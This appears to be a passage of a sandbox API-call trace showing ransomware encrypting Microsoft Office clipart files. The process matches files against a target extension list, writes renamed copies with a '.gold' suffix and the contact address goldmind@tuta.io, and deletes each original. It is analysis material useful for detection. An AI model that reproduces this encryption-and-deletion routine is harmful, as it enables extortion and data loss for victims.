[0107.001] lstrlenW (lpString=".xls") returned 4 [0107.001] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.001] lstrlenW (lpString=".xlsx") returned 5 [0107.001] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.001] lstrlenW (lpString=".ppt") returned 4 [0107.001] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0107.001] lstrlenW (lpString=".zip") returned 4 [0107.001] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.001] lstrlenW (lpString=".rar") returned 4 [0107.001] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.001] lstrlenW (lpString=".bz2") returned 4 [0107.001] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.001] lstrlenW (lpString=".7z") returned 3 [0107.001] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0107.001] lstrlenW (lpString=".dbf") returned 4 [0107.001] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0107.001] lstrlenW (lpString=".1cd") returned 4 [0107.001] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.001] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0107.002] lstrlenW (lpString=".jpg") returned 4 [0107.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0107.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0107.002] lstrlenW (lpString=".doc") returned 4 [0107.002] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.002] lstrlenW (lpString=".docx") returned 5 [0107.002] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0107.002] lstrlenW (lpString=".pdf") returned 4 [0107.002] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.002] lstrlenW (lpString=".xls") returned 4 [0107.002] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.002] lstrlenW (lpString=".xlsx") returned 5 [0107.002] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0107.002] lstrlenW (lpString=".ppt") returned 4 [0107.002] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0107.002] lstrlenW (lpString=".zip") returned 4 [0107.002] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.002] lstrlenW (lpString=".rar") returned 4 [0107.002] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.002] lstrlenW (lpString=".bz2") returned 4 [0107.002] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.002] lstrlenW (lpString=".7z") returned 3 [0107.002] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0107.002] lstrlenW (lpString=".dbf") returned 4 [0107.002] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0107.002] lstrlenW (lpString=".1cd") returned 4 [0107.002] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.002] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF") returned 63 [0107.002] lstrlenW (lpString=".jpg") returned 4 [0107.002] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.002] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.002] lstrlenW (lpString="J0107154.WMF") returned 12 [0107.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.003] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=22300) returned 1 [0107.003] CloseHandle (hObject=0x3ac) returned 1 [0107.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf")) returned 0x20 [0107.003] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0107.003] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.003] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0107.004] GetLastError () returned 0x0 [0107.004] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x571c, lpOverlapped=0x0) returned 1 [0107.318] WriteFile (in: hFile=0x394, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x5720, lpOverlapped=0x0) returned 1 [0107.318] ReadFile (in: hFile=0x3ac, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.318] WriteFile (in: hFile=0x394, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.319] SetEndOfFile (hFile=0x394) returned 1 [0107.319] CloseHandle (hObject=0x394) returned 1 [0107.319] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.319] SetEndOfFile (hFile=0x3ac) returned 1 [0107.321] CloseHandle (hObject=0x3ac) returned 1 [0107.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.394] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf")) returned 1 [0107.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0107.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0107.395] lstrlenW (lpString=".doc") returned 4 [0107.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.395] lstrlenW (lpString=".docx") returned 5 [0107.395] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0107.395] lstrlenW (lpString=".pdf") returned 4 [0107.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.395] lstrlenW (lpString=".xls") returned 4 [0107.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.395] lstrlenW (lpString=".xlsx") returned 5 [0107.395] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0107.395] lstrlenW (lpString=".ppt") returned 4 [0107.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0107.395] lstrlenW (lpString=".zip") returned 4 [0107.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.395] lstrlenW (lpString=".rar") returned 4 [0107.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.395] lstrlenW (lpString=".bz2") returned 4 [0107.395] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.395] lstrlenW (lpString=".7z") returned 3 [0107.395] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0107.395] lstrlenW (lpString=".dbf") returned 4 [0107.395] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0107.395] lstrlenW (lpString=".1cd") returned 4 [0107.395] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0107.395] lstrlenW (lpString=".jpg") returned 4 [0107.395] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0107.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0107.395] lstrlenW (lpString=".doc") returned 4 [0107.395] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.395] lstrlenW (lpString=".docx") returned 5 [0107.395] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0107.395] lstrlenW (lpString=".pdf") returned 4 [0107.395] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.395] lstrlenW (lpString=".xls") returned 4 [0107.395] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.395] lstrlenW (lpString=".xlsx") returned 5 [0107.395] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0107.395] lstrlenW (lpString=".ppt") returned 4 [0107.395] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0107.395] lstrlenW (lpString=".zip") returned 4 [0107.395] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.395] lstrlenW (lpString=".rar") returned 4 [0107.395] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.395] lstrlenW (lpString=".bz2") returned 4 [0107.396] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.396] lstrlenW (lpString=".7z") returned 3 [0107.396] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0107.396] lstrlenW (lpString=".dbf") returned 4 [0107.396] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0107.396] lstrlenW (lpString=".1cd") returned 4 [0107.396] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF") returned 63 [0107.396] lstrlenW (lpString=".jpg") returned 4 [0107.396] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.396] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.396] lstrlenW (lpString="J0107266.WMF") returned 12 [0107.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.404] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=5868) returned 1 [0107.404] CloseHandle (hObject=0x230) returned 1 [0107.404] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf")) returned 0x20 [0107.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.408] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.408] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0107.409] GetLastError () returned 0x0 [0107.409] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x16ec, lpOverlapped=0x0) returned 1 [0107.414] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x16f0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x16f0, lpOverlapped=0x0) returned 1 [0107.415] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.415] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.415] SetEndOfFile (hFile=0x180) returned 1 [0107.415] CloseHandle (hObject=0x180) returned 1 [0107.415] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.415] SetEndOfFile (hFile=0x230) returned 1 [0107.417] CloseHandle (hObject=0x230) returned 1 [0107.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.418] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107266.wmf")) returned 1 [0107.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0107.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0107.419] lstrlenW (lpString=".doc") returned 4 [0107.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.419] lstrlenW (lpString=".docx") returned 5 [0107.419] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0107.419] lstrlenW (lpString=".pdf") returned 4 [0107.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.419] lstrlenW (lpString=".xls") returned 4 [0107.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.419] lstrlenW (lpString=".xlsx") returned 5 [0107.419] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0107.419] lstrlenW (lpString=".ppt") returned 4 [0107.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0107.419] lstrlenW (lpString=".zip") returned 4 [0107.419] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.419] lstrlenW (lpString=".rar") returned 4 [0107.419] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.419] lstrlenW (lpString=".bz2") returned 4 [0107.419] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.419] lstrlenW (lpString=".7z") returned 3 [0107.419] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0107.419] lstrlenW (lpString=".dbf") returned 4 [0107.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0107.419] lstrlenW (lpString=".1cd") returned 4 [0107.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0107.419] lstrlenW (lpString=".jpg") returned 4 [0107.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0107.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0107.420] lstrlenW (lpString=".doc") returned 4 [0107.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.420] lstrlenW (lpString=".docx") returned 5 [0107.420] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0107.420] lstrlenW (lpString=".pdf") returned 4 [0107.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.420] lstrlenW (lpString=".xls") returned 4 [0107.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.420] lstrlenW (lpString=".xlsx") returned 5 [0107.420] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0107.420] lstrlenW (lpString=".ppt") returned 4 [0107.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0107.420] lstrlenW (lpString=".zip") returned 4 [0107.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.420] lstrlenW (lpString=".rar") returned 4 [0107.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.420] lstrlenW (lpString=".bz2") returned 4 [0107.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.420] lstrlenW (lpString=".7z") returned 3 [0107.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0107.420] lstrlenW (lpString=".dbf") returned 4 [0107.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0107.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0107.420] lstrlenW (lpString=".1cd") returned 4 [0107.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0107.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107266.WMF") returned 63 [0107.420] lstrlenW (lpString=".jpg") returned 4 [0107.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0107.420] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0107.420] lstrlenW (lpString="J0107280.WMF") returned 12 [0107.420] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.421] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=11108) returned 1 [0107.421] CloseHandle (hObject=0x230) returned 1 [0107.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf")) returned 0x20 [0107.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0107.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0107.422] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.422] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0107.423] GetLastError () returned 0x0 [0107.423] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x2b64, lpOverlapped=0x0) returned 1 [0107.433] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x2b70, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x2b70, lpOverlapped=0x0) returned 1 [0107.433] ReadFile (in: hFile=0x230, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0107.433] WriteFile (in: hFile=0x180, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0107.434] SetEndOfFile (hFile=0x180) returned 1 [0107.434] CloseHandle (hObject=0x180) returned 1 [0107.434] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0107.434] SetEndOfFile (hFile=0x230) returned 1 [0107.435] CloseHandle (hObject=0x230) returned 1 [0107.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0107.436] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107280.wmf")) returned 1 [0107.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0107.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0107.436] lstrlenW (lpString=".doc") returned 4 [0107.436] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0107.436] lstrlenW (lpString=".docx") returned 5 [0107.436] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0107.436] lstrlenW (lpString=".pdf") returned 4 [0107.436] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0107.437] lstrlenW (lpString=".xls") returned 4 [0107.437] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0107.437] lstrlenW (lpString=".xlsx") returned 5 [0107.437] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0107.437] lstrlenW (lpString=".ppt") returned 4 [0107.437] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0107.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107280.WMF") returned 63 [0107.437] lstrlenW (lpString=".zip") returned 4 [0107.437] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0107.437] lstrlenW (lpString=".rar") returned 4 [0107.437] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0107.437] lstrlenW (lpString=".bz2") returned 4 [0107.437] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0107.437] lstrlenW (lpString=".7z") returned 3 [0107.437] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0107.437] lstrlenW (lpString="C:\\Program 